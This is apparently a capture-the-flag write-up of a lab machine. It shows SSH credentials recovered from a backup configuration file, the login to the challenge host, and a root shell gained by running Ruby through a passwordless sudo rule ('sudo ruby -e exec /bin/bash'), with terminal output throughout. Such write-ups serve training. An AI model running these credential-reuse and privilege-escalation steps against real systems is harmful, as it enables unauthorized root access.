Corp Webcrawl
✓ SOLVEDRatCTF — Web Enumeration → SSH Access → Privilege Escalation (Ruby)
1
Overview
Enumeration exposed an SSH credential in a backup configuration. After gaining a shell, a passwordless Ruby sudo rule provided the route to root.
User Flag✓
Root Flag✓
StatusSolved
2
Enumeration — Backup Configuration
A backup configuration file exposed valid SSH credentials. The database values were not needed for the solve path.
Backup configuration
username=user
host=corp.internal
port=22
password=Cr4wlS3cr3t!Key findingThe backup file disclosed credentials that could be reused for SSH access.
Enumeration notes
/backup/config.bak
[ssh]
user = user
password = ********
port = 223
Foothold — SSH Access
The challenge exposed SSH externally on port 30732.
SSH
ssh -p 30732 user@45.79.210.48USER FLAG
flag{[REDACTED]}Foothold
$ ssh -p 30732 user@45.79.210.48
user@45.79.210.48's password:
Welcome to Linux
user@corp-webcrawl:~$ cat ~/user.txt
flag{[REDACTED]}4
Privilege Escalation — Ruby
sudo -l showed that Ruby could be run as root without a password.
Sudo rule
(root) NOPASSWD: /usr/bin/rubyRoot shell
sudo /usr/bin/ruby -e 'exec "/bin/bash"'Privilege escalation
user@corp-webcrawl:~$ sudo -l
(root) NOPASSWD: /usr/bin/ruby
user@corp-webcrawl:~$ sudo /usr/bin/ruby -e 'exec "/bin/bash"'
root@corp-webcrawl:/home/user#5
Flags
Both flags were captured successfully. The public writeup keeps the flag values redacted.
Backup config→SSH credentials→
User shell→sudo Ruby→Root shell